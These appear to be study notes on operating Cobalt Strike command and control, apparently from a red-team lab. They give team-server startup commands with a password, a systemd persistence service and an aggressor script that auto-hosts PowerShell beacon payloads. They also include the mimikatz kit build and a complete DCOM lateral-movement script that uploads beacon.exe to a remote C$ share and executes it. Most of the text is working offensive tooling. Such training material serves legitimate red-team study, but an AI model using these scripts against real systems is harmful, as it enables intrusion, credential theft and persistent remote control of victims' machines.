C2 with Cobalt Strike
starting the team server
- go to attacker desktop
- select team server
- cd cobaltstrike
- start tmux
sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile- 10.50.5.50 : ip of the attacker linux VM
- launch cobalt strike client to connect to team server
configuration
open client
- cobalt-strike → preferences
- dark mode
- GUI font, Console
listeners
Listen for incoming beacons
| type | listener |
|---|---|
| egress | http/s, dns |
| peer-to-peer | smb, raw tcp |
setup team server as a service
To easen startup
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
[Install]
WantedBy=multi-user.targetaggressor scripts / headless cobaltstrike
- listeners will automatically be recovered during start
- but payloads won’t, this is problematic for persistence
- we can fix this by using an aggressor script:
# Connected and ready
on ready {
# Generate payload
$payload = artifact_payload("http", "powershell", "x64");
# Host payload
site_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);
}you can test this with
attacker@ubuntu ~/cobaltstrike> ./agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cnaSand add this to the systemd start up service through:
ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna &'
beacons
payloads
- html application (hta) → egress, x86
- ms office macro → egress, x86 and x64
- ..
- windows stageless payload → only payload for p2p listeners
- use “windows stageless generate all”
beacon commands
- egress beacons
sleep <n>to set sleep period- dns beacons will not automatically send metadata (due to data bandwidth), you can trigger this with
checkin - sleep 0 .. pseudo interactive
- p2p behave differently
connect(tcp) orlink(smb) to connect to a p2p beacon
graph view
| color | meaning |
|---|---|
| green | tcp |
| yellow | smb |
| purple | disconnected |
Sleep time of egress beacon gets communicated to child beacons
pivot listener
- can be created on an existing beacon
- standard listener: connects to beacon
- pivot listener: new beacon will connect to listener (reverse shell)
- pivot listeners bind on 0.0.0.0
- you can generate payloads for the pivot listener
- commands such as
spawn,elevate,jumpwill work
- commands such as
Extending CobaltStrike
mimikatz kit
$ cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/mimikatz
$ ./build.sh /mnt/c/Tools/cobaltstrike/mimikatzload mimikaty.cna via cobalt strike → script manager (Load)
integrate more jump and remote-exec targets
Create a new file dcom.cna:
sub invoke_dcom
{
local('$handle $script $oneliner $payload');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");
# read in the script
$handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# generate stageless payload
$payload = artifact_payload($3, "exe", "x64");
# upload to the target
bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);
# run via powerpick
bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);
# link if p2p beacon
beacon_link($1, $2, $3);
}
beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);
beacon object files (BOFs)
- new commands that can be executed on the server
#include <windows.h>
#include "beacon.h"
void go(char * args, int len)
{
BeaconPrintf(CALLBACK_OUTPUT, "Hello World");
}Build it with x86_64-w64-mingw32-gcc -c hello-world.c -o hello-world.o and run it with inline-execute hello-world.o
You can integrate them with aggressor script:
alias hello-world {
local('$handle $bof $args');
# read the bof file (assuming x64 only)
$handle = openf(script_resource("hello-world.o"));
$bof = readb($handle, -1);
closef($handle);
# print task to console
btask($1, "Running Hello World BOF");
# execute bof
beacon_inline_execute($1, $bof, "go");
}
# register a custom command
beacon_command_register("hello-world", "Execute Hello World BOF", "Loads hello-world.o and calls the \"go\" entry point.");
example BOF files
- https://github.com/trustedsec/CS-Situational-Awareness-BOF
- https://github.com/CCob/BOF.NET
- https://github.com/fortra/nanodump
- https://github.com/outflanknl/InlineWhispers
malleable command & control
- configures communication patternsS
- we can add parameters (e.g. HTTP GET parameters)
- this can be used to customize the HTTP beacon traffic to simulate specific threats